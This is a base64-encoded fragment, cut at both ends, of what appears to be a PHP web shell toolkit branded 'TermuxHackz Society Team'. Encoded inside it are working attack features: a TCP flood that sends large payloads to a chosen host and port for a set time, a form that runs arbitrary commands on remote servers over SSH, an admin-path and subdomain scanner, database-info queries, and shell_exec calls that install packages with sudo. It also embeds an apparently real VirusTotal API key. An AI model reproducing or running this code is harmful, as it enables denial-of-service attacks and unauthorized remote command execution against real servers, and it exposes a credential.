WYgKCRzdG9wID09IDEpIGV4aXQ7DQogICAgQGZsdXNoKCk7DQogICAgQG9iX2ZsdXNoKCk7DQp9DQpmdW5jdGlvbiBjaGVjaygkeCwgJGZyb250ID0gMCkgew0KICAgIGdsb2JhbCAkX1BPU1QsICRzaXRlLCAkZmFsc2U7DQogICAgaWYgKCRmcm9udCA9PSAwKSAkdCA9ICRzaXRlIC4gJHg7DQogICAgZWxzZSAkdCA9ICdodHRwOi8vJyAuICR4IC4gJy4nIC4gJHNpdGUgLiAnLyc7DQogICAgJGhlYWRlcnMgPSBnZXRfaGVhZGVycygkdCk7DQogICAgaWYgKCFlcmVnaSgnMjAwJywgJGhlYWRlcnNbMF0pKSByZXR1cm4gMDsNCiAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdCk7DQogICAgaWYgKCRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddID09ICIiKSBpZiAoJGRhdGEgPT0gJGZhbHNlKSByZXR1cm4gMDsNCiAgICBpZiAoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gIT0gIiIpIGlmIChzdHJwb3MoJGRhdGEsICRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddKSkgcmV0dXJuIDA7DQogICAgcmV0dXJuIDE7DQp9DQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KdGVtcGxhdGUoKTsNCmlmICghaXNzZXQoJF9QT1NUWyd4cGxvaXRfdXJsJ10pKSBkaWU7DQppZiAoJF9QT1NUWyd4cGxvaXRfdXJsJ10gPT0gJycpIGRpZTsNCiRzaXRlID0gJF9QT1NUWyd4cGxvaXRfdXJsJ107DQppZiAoJHNpdGVbc3RybGVuKCRzaXRlKSAtIDFdICE9ICIvIikgJHNpdGUuPSAiLyI7DQppZiAoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpICRmYWxzZSA9IEBmaWxlX2dldF9jb250ZW50cygkc2l0ZSAuICJkNjU4OTdmNTM4MGEyMWE0MmRiOTRiMzkyN2I4MjNkNTZlZTEwOTlhLXRoaXNfY2FuLXRfZXhpc3QuaHRtbCIpOw0KJGxpc3RbJ2VuZCddID0gc3RyX3JlcGxhY2UoIg0KIiwgIiIsICRsaXN0WydlbmQnXSk7DQokbGlzdFsnZnJvbnQnXSA9IHN0cl9yZXBsYWNlKCINCiIsICIiLCAkbGlzdFsnZnJvbnQnXSk7DQokcGF0aGVzID0gZXhwbG9kZSgiDQoiLCAkbGlzdFsnZW5kJ10pOw0KJGZyb250cGF0aGVzID0gZXhwbG9kZSgiDQoiLCAkbGlzdFsnZnJvbnQnXSk7DQpzaG93KGNvdW50KCRwYXRoZXMpICsgY291bnQoJGZyb250cGF0aGVzKSwgMSwgMCwgJ3RvdGFsJywgMSk7DQokdmVyaWZpY2F0ZSA9IDA7DQpmb3JlYWNoICgkcGF0aGVzIGFzICRwYXRoKSB7DQogICAgc2hvdygnQW5hbHl6aW5nICcgLiAkc2l0ZSAuICRwYXRoIC4gJyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOw0KICAgIHNob3coJHZlcmlmaWNhdGUsIDAsIDAsICd2ZXJpZmllZCcsIDEpOw0KICAgIGlmIChjaGVjaygkcGF0aCkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2Ugew0KICAgICAgICBzaG93KCc8c3BhbiBzdHlsZT0iY29sb3I6ICMwMEZGMDA7Ij48c3Ryb25nPmZvdW5kPC9zdHJvbmc+PC9zcGFuPicsIDEsIDAsICdsb2dib3gnLCAwKTsNCiAgICAgICAgc2hvdygnPGEgaHJlZj0iJyAuICRzaXRlIC4gJHBhdGggLiAnIj4nIC4gJHNpdGUgLiAkcGF0aCAuICc8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KfQ0KcHJlZ19tYXRjaCgiL1wvXC8oLio/KVwvL2kiLCAkc2l0ZSwgJHh4KTsNCiRzaXRlID0gJHh4WzFdOw0KaWYgKHN1YnN0cigkc2l0ZSwgMCwgMykgPT0gInd3dyIpICRzaXRlID0gc3Vic3RyKCRzaXRlLCA0KTsNCmZvcmVhY2ggKCRmcm9udHBhdGhlcyBhcyAkZnJvbnRwYXRoKSB7DQogICAgc2hvdygnQW5hbHl6aW5nIGh0dHA6Ly8nIC4gJGZyb250cGF0aCAuICcuJyAuICRzaXRlIC4gJy8gOiAnLCAwLCAwLCAnbG9nYm94JywgMCk7DQogICAgJHZlcmlmaWNhdGUrKzsNCiAgICBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZiAoY2hlY2soJGZyb250cGF0aCwgMSkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2Ugew0KICAgICAgICBzaG93KCc8c3BhbiBzdHlsZT0iY29sb3I6ICMwMEZGMDA7Ij48c3Ryb25nPmZvdW5kPC9zdHJvbmc+PC9zcGFuPicsIDEsIDAsICdsb2dib3gnLCAwKTsNCiAgICAgICAgc2hvdygnPGEgaHJlZj0iaHR0cDovLycgLiAkZnJvbnRwYXRoIC4gJy4nIC4gJHNpdGUgLiAnLyI+JyAuICRmcm9udHBhdGggLiAnLicgLiAkc2l0ZSAuICc8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KfQ0KPz4NCgk8P3BocA0KCX0gDQoJPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsiZGJfaW5mbyJdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Y2VudGVyPjxicj48Zm9udCBzaXplPSI2IiBjb2xvcj0ibWFyb29uIiBmYWNlPSJjb21pYyBzYW5zIG1zIj5BY3RpdmUgRGF0YWJhc2UgSW5mbyA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgCQlmdW5jdGlvbiBnZXRfYWN0aXZlX2RiKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAJCSRzcWw9J1NFTEVDVCBEQVRBQkFTRSgpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJJHNxbHJlc3VsdD1teXNxbF9xdWVyeSgkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJJHJvdz1teXNxbF9mZXRjaF9yb3coJHNxbHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJCSRhY3RpdmVfZGI9JHJvd1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJaWYoISRhY3RpdmVfZGIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJZWNobyAnPHAgc3R5bGU9ImNvbG9yOiByZWQiPkNvdWxkbnQgZ2V0IEFjdGl2ZSBEYXRhYmFzZSBJbmZvLCBzb3JyeSEhIF5fXjwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQl9IA0KICAgICAgICAgICAgICAgICAgICAgICAgCQllbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJICAgZWNobyAiPHAgc3R5bGU9Y29sb3I6IGdyZWVuPkFjdGl2ZSBEYXRhYmFzZSA6PGI+ICRhY3RpdmVfZGI8L2I+IDwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQkgICBlY2hvICI8L2NlbnRlcj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQkgICB9ICAgDQogICAgICAgICAgICAgICAgICAgICAgICAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPz4NCiAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICBpZihpc3NldCgkX0dFVFsidGNwX2Rkb3MiXSkpIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgLy9UQ1ANCiAgICBpZihpc3NldCgkX0dFVFsnaG9zdCddKSYmaXNzZXQoJF9HRVRbJ3RpbWUnXSkpew0KICAgICAgICAkcGFja2V0cyA9IDA7DQogICAgICAgIGlnbm9yZV91c2VyX2Fib3J0KEZBTFNFKTsNCiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgDQogICAgICAgICRleGVjX3RpbWUgPSAkX0dFVFsndGltZSddOw0KICAgICAgIA0KICAgICAgICAkdGltZSA9IHRpbWUoKTsNCiAgICAgICBlY2hvICJTdGFydGVkOiAiLnRpbWUoJ2QtbS15IGg6aTpzJykuIjxicj4iOw0KICAgICAgICAkbWF4X3RpbWUgPSAkdGltZSskZXhlY190aW1lOw0KICAgICANCiAgICAgICAgJGhvc3QgPSAkX0dFVFsnaG9zdCddOw0KICAgICAgICAkcG9ydCA9ICRfR0VUWydwb3J0J107DQogICAgICAgDQogICAgICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspew0KICAgICAgICAgICAgICAgICRvdXQgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlKDEpew0KICAgICAgICAkcGFja2V0cysrOw0KICAgICAgICAgICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJGZwID0gZnNvY2tvcGVuKCd0Y3A6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsNCiAgICAgICAgICAgICAgICBpZigkZnApew0KICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9bGlnaHRncmVlbiBzaXplPTYgZmFjZT1BcmlhbD5UQ1AgRmxvb2QgYnkgVGVybXV4SGFja3ogU29jaWV0eSBUZWFtPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFja2V0cyAoIiAuIHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFja2V0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIFxuPC9mb250PiI7DQogICAgICAgIGVjaG8gJzxicj48YnI+DQogICAgICAgIA0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1HRVQ+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InBocHRvb2xzIj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPklQOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPlBvcnQ6IDwvZm9udD48YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBvcnQ+PGJyPiANCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPkxlbmd0aCAoc2Vjb25kcyk6PC9mb250PiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWU+PGJyPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7DQogICAgICAgICAgICANCiAgICB9ZWxzZXsgZWNobyAnPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9InRlYWwiIHNpemU9IjYiPlRDUCBGbG9vZCBCeSBUZXJtdXhIYWNreiBTb2NpZXR5IFRlYW08L2ZvbnQ+PC9iPjxicj48YnI+DQogICAgDQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPT8gbWV0aG9kPUdFVD4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJwaHB0b29scyI+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPklQOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0IHBsYWNlaG9sZGVyPTEyNy4wLjAuMSByZXF1aXJlZD48YnI+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPlBvcnQ6IDwvZm9udD48YnI+PGlucHV0IHR5cGU9dGV4dCBwbGFjZWhvbGRlcj0yNSBuYW1lPXBvcnQgcmVxdWlyZWQ+PGJyPg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPW9yYW5nZT5MZW5ndGggKHNlY29uZHMpOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHBsYWNlaG9sZGVyPTUgcmVxdWlyZWQ+PGJyPjxicj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgaWQ9YnV0dG9uIHZhbHVlPT4gPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvY2VudGVyPic7DQogICAgfQ0KICAgID8+DQogICAgCTw/cGhwDQogICAgCX0gDQogICAgCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KaWYoaXNzZXQoJF9HRVRbJ3NzaF9jb24nXSkpIHsNCj8+DQoJPGNlbnRlcj48YnI+PGZvbnQgc2l6ZT0iNSIgY29sb3I9InRlYWwiIGZhY2U9IkFyaWFsIj5FeGVjdXRlIFNzaCBDb21tYW5kcyBvbiByZW1vdGUgU2VydmVyIDwvZm9udD48YnI+PGJyPg0KCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJPGxhYmVsPkVudGVyIElwL2hvc3RuYW1lOiA8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0X25hbWUiIHBsYWNlaG9sZGVyPSJFbnRlciBJcC9ob3N0bmFtZSBvZiBTc2ggc2VydmVyIi8+PGJyLz48YnI+DQoJCQk8bGFiZWw+RW50ZXIgVXNlcm5hbWU6IDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbmFtZSIgcGxhY2Vob2xkZXI9IkVudGVyIHVzZXJuYW1lIG9mIFNzaCBzZXJ2ZXIgeW91IGFyZSB0cnlpbmcgdG8gY29ubmVjdCB0by4uICIvPjxiciAvPjxicj4NCgkJCTxsYWJlbD5FbnRlciBQYXNzd29yZDogPC9sYWJlbD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3Nfd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgc3NoIHNlcnZlci4uICIvPjxici8+PGJyPjxicj4NCgkJCQk8Zm9udCBzaXplPSI0IiBjb2xvcj0id2hpdGUiPkVudGVyIENvbW1hbmRzIHRvIGV4ZWN1dGUgPC9mb250Pjxicj4NCgkJCTx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJFbnRlciBjb21tYW5kIHRvIGV4ZWN1dGUgb24gdGhlIHNzaCBzZXJ2ZXIuLi4gIj48L3RleHRhcmVhPjxici8+PGJyPg0KCQkJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9zc2giIGlkPSJidXR0b24iPiA8L2J1dHRvbj4NCgkJCTwvZm9ybT48YnI+DQoJCQkJPD9waHANCgkJCQlpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdF9zc2gnXSkpIHsNCiRzZXJ2ZXIgICA9ICRfUE9TVFsnaG9zdF9uYW1lJ107IC8vIHNlcnZlciBJUC9ob3N0bmFtZSBvZiB0aGUgU1NIIHNlcnZlcg0KJHVzZXJuYW1lID0gJF9QT1NUWyd1c2VyX25hbWUnXTsgLy8gdXNlcm5hbWUgZm9yIHRoZSB1c2VyIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgU1NIIHNlcnZlcg0KJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzX3dvcmQnXTsgLy8gcGFzc3dvcmQgZm9yIHRoZSB1c2VyIHlvdSBhcmUgY29ubmVjdGluZyBhcyBvbiB0aGUgU1NIIHNlcnZlcg0KJGNvbW1hbmQgID0gJF9QT1NUWydjb21tYW5kJ107IC8vIGNvdWxkIGJlIGFueXRoaW5nIGF2YWlsYWJsZSBvbiB0aGUgc2VydmVyIHlvdSBhcmUgU1NIJ2luZyB0bw0KDQovLyBFc3RhYmxpc2ggYSBjb25uZWN0aW9uIHRvIHRoZSBTU0ggU2VydmVyLiBQb3J0IGlzIHRoZSBzZWNvbmQgcGFyYW0uDQokY29ubmVjdGlvbiA9IHNzaDJfY29ubmVjdCgkc2VydmVyLCAyMik7DQoNCi8vIEF1dGhlbnRpY2F0ZSB3aXRoIHRoZSBTU0ggc2VydmVyDQpzc2gyX2F1dGhfcGFzc3dvcmQoJGNvbm5lY3Rpb24sICR1c2VybmFtZSwgJHBhc3N3b3JkKTsNCg0KLy8gRXhlY3V0ZSBhIGNvbW1hbmQgb24gdGhlIGNvbm5lY3RlZCBzZXJ2ZXIgYW5kIGNhcHR1cmUgdGhlIHJlc3BvbnNlDQokc3RyZWFtID0gc3NoMl9leGVjKCRjb25uZWN0aW9uLCAkY29tbWFuZCk7DQoNCi8vIFNldHMgYmxvY2tpbmcgbW9kZSBvbiB0aGUgc3RyZWFtDQpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzdHJlYW0sIHRydWUpOw0KDQovLyBHZXQgdGhlIHJlc3BvbnNlIG9mIHRoZSBleGVjdXRlZCBjb21tYW5kIGluIGEgaHVtYW4gcmVhZGFibGUgZm9ybQ0KJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHN0cmVhbSk7DQoNCi8vIGVjaG8gb3V0cHV0DQplY2hvICI8cHJlPnskb3V0cHV0fTwvcHJlPiI7DQplY2hvICI8L2NlbnRlcj4iOw0KfSANCj8+DQoJPD9waHANCgl9IA0KCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3NjYW5fc2l0ZSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ25vZGUnLCAwNjY2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHJhdGEgPSAnY29uc3QgbnZ0ID0gcmVxdWlyZSgibm9kZS12aXJ1c3RvdGFsIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IHByb21wdCA9IHJlcXVpcmUoInByb21wdC1zeW5jIikoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc3Qgc2l0ZSA9IHByb21wdCgiRW50ZXIgU2l0ZSBuYW1lIHRvIHNjYW46ICIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zdCByZXF1ZXN0ID0gbnZ0Lm1ha2VBUEkoKS5zZXRLZXkoIjcwZTc1NWE0Mjk0MGJkOGZlNjNmN2QyOTkwMTExNDQ5ODA2MTY0YTA3MzJlODJjMTlkZDM2YTFlZDdiOGY3ZTgiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWVzdC5kb21haW5Mb29rdXAoc2l0ZSwgZnVuY3Rpb24gKGVyciwgcmVzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coIlZpcnVzdG90YWwgQVBJIGRpZCBub3Qgd29yayBiZWNhdXNlOiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhlcnIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJvYWQgPSBKU09OLnBhcnNlKHJlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyb2FkLmRhdGEuYXR0cmlidXRlcy5sYXN0X2FuYWx5c2lzX3Jlc3VsdHMuS2FzcGVyc2t5LnJlc3VsdCAhPSAiY2xlYW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKCJJdCBpcyBub3QgY2xlYW4sIGhhaGEgYnJvLCB5b3UgaGFkIGJldHRlciBiZSBjYXJlZnVsIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coIlRoZSBsaW5rIGlzIHNhZmUgYnJvIGhhaGEsIHlvdSBzY2FyZWQgWEQiICk7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICRnZyA9IGZvcGVuKCdub2RlL3NjYW5fc2l0ZS5qcycsJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZ2csJHJhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICd3aW4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9zID0gJ25peCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG9zID09ICd3aW4nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDIwMCU7Ij5Pb29wcHBzcyBXaW5kb3dzIFNlcnZlciA6UDxicj5Zb3UgQmV0dGVyIEZpbmQgTGludXggdG8gdXNlIHRoaXMgZmVhdHVyZSA6UCA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2NlbnRlcj48P3BocA0KICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGwgPSAic3VkbyBhcHQgaW5zdGFsbCBub2RlanMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbDIgPSAic3VkbyBhcHQgaW5zdGFsbCBucG0iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbDMgPSAibnBtIGluc3RhbGwgbm9kZS12aXJ1c3RvdGFsICYmIG5wbSBpbnN0YWxsIHByb21wdC1zeW5jIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGw0ID0gIm5wbSBpbml0IC15IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCRpbnN0YWxsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCRpbnN0YWxsMik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gc2hlbGxfZXhlYygkaW5zdGFsbDMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHNoZWxsX2V4ZWMoJGluc3RhbGw0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaGVsbF9leGVjKCJjZCBub2RlICYmIG5vZGUgc2Nhbl9zaXRlLmpzIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBSb3VuZGVkIHN3aXRjaCAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnc3RhcnRfcHJveHknXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9kYXRhKCR1cmwsJHVzZVRvcikgew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83MC4wLjM1MzguNjcgU2FmYXJpLzUzNy4zNicpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMjApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEyMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEdFVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTUFYUkVESVJTLCAxMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgIiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0FVVE9SRUZFUkVSLCBUUlVFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCBUUlVFKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQppZiAoJHVzZVRvcj09MSkgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BST1hZLCAnaHR0cDovL2xvY2FsaG9zdDo5MDUwJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCA3KTsNCn0NCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQpjdXJsX2Nsb3NlKCRjaCk7DQpyZXR1cm4gJGRhdGE7DQp9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnYXJjaGl2ZV9tYW5hZ2VyJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBjb2xvcj0idGVhbCIgc2l6ZT0iNyIgZmFjZT0iQXJpYWwiPlRlcm11eEhhY2t6IEFyY2hpdmUgTWFuYWdlcjwvZm9udD48YnIvPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiI+PC9kaXY+DQogICAgICAgICAgICAgICA